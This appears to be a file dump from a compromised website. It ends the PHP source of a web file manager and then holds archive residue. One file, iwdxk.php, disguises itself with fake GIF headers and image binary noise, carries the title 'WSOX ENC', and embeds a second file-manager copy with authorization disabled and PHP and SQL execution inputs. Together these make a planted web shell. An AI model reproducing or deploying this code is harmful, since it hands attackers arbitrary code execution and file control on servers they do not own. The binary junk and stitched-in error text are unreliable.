$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK "Cm\���� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK %Cm\��T:�L �L iwdxk.phpnu �[��� <!-- GIF89;a -->
<!-- GIF89;a -->
���� JFIF �� �
"" $(4,$&1'-=-157:::#+?D?8C49:7
7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp�
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æï¿½ï¿½Ü¯sO"B�c>;
�e�4��5�k��/CB��.
�J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m��<sŒÅá0™dkÈ.tc˜:zG†:<FV2Zu“V
N(ëá’b&1K
¼Àë_Û{®®×ñ5ÇÁ(HæŒíh¡£{è.×€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆƒ*~\<Pº7 ¸ºíÀi°ïê JT8–F
iëÝÏêÛZZÓ·”•'àÞöx¤–F5s²ì†
ñRÇ75ïNÊÒ&I,l‘ÐÀ–ZøË®ÅX¡Ìé½_$¸o‡(šg´Ë²ù¬5§5X?Sì¤ÂÇãø‹ñ†LvÆ6†µÛ]ïÙ|bGŒ<:ÂKœs OÜû˜Ü\|+ H²YB&—ß›[ç×_nÔƒŸüO‰Å¶ÅAÞ¤nþÝ‚£_r½ÒHç¿W8Ù5VWÂ" """ """ """ """ ""ÈXY ê?Ë!¶ê4ùŽ–íuò ®8ŽG²1AöÞE´*ÁýÀM/á—¡‘Ù
œ$@"ÏÊj·åË©Vr;À‡ÅÄ[k0e
såh>�)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title>
‰PNG
IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT
h25jguaT5*!‰PNG
IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT
h25jguaT5*!<?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
